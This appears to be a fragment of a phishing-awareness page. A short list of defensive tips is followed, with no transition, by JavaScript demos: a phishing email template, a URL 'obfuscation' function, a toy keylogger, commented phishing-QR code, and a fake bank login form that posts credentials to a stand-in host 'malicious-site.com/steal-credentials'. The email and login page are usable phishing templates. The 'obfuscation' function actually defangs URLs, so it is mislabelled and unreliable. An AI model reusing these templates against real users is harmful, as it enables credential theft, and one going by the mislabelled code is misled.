• Keep software and systems up-to-date with the latest security patches
• Verify the sender's email address and website URLs before interacting
• Be cautious of urgent or threatening language in messages
• Don't click on suspicious links or download unexpected attachments
• Use password managers to generate and store strong, unique passwords
• Enable DMARC, SPF, and DKIM for your organization's email domain
• Regularly back up important data to mitigate the impact of successful attacks

  // Attempting these techniques without proper authorization is illegal and unethical.
  
  // 1. Creating a simple phishing email template
  const createPhishingEmail = (targetName, fakeWebsite) => {
    return `
  Dear ${targetName},
  
  We've noticed some suspicious activity on your account. Please click the link below to verify your identity:
  
  ${fakeWebsite}
  
  Regards,
  Security Team
    `.trim();
  };
  
  console.log(createPhishingEmail("John Doe", "https://fake-bank-site.com/verify"));
  
  // 2. URL obfuscation technique
  const obfuscateURL = (url) => {
    return `hxxps://${url.replace("https://", "").replace("http://", "")}`;
  };
  
  console.log(obfuscateURL("https://legitimate-looking-site.com"));
  
  // 3. Simulating a basic keylogger (DO NOT use this maliciously)
  const simulateKeylogger = (input) => {
    console.log("Keylogger activated. Capturing input:");
    input.split("").forEach((char, index) => {
      setTimeout(() => console.log(`Key pressed: ${char}`), index * 500);
    });
  };
  
  simulateKeylogger("password123");
  
  // 4. Generating a QR code for a phishing link (requires qrcode library)
  // npm install qrcode
  // const QRCode = require('qrcode');
  
  // const generatePhishingQR = async (url) => {
  //   try {
  //     const qr = await QRCode.toString(url, { type: 'terminal' });
  //     console.log(qr);
  //   } catch (err) {
  //     console.error('Error generating QR code:', err);
  //   }
  // };
  
  // generatePhishingQR('https://fake-login-page.com');
  
  // 5. Simulating a fake login page (HTML representation)
  const fakePage = `
  <!DOCTYPE html>
  <html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Secure Login</title>
  </head>
  <body>
      <h1>Welcome to Your Bank</h1>
      <form action="https://malicious-site.com/steal-credentials" method="POST">
          <input type="text" name="username" placeholder="Username" required>
          <input type="password" name="password" placeholder="Password" required>
          <button type="submit">Log In</button>
      </form>
  </body>
  </html>
  `;
  
  console.log("Fake login page HTML:");
  console.log(fakePage);
